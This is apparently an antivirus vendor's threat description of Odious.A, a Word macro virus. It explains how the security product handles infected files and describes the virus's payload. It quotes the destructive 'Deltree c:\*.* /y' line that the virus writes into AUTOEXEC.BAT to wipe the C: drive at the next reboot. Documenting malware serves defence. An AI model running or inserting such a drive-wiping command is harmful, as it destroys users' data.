Odious.A is a Word macro virus that contains a destructive payload.
Depending on the settings of your F-Secure security product, it will either automatically delete, quarantine or rename the suspect file, or ask you for a desired action.
More information on the scanning and removal options available in your F-Secure product can be found in the Help Center.
You may also refer to the Knowledge Base on the F-Secure Community site for more information.
When a user opens Visual Basic Editor of Word Application the virus exits it and replaces the file C:\AUTOEXEC.BAT with the following:
Deltree c:\*.* /y" "echo Fu** you...."
On that way the virus tries to erase all the contents of the C:\ drive, next time when the system is restarted.
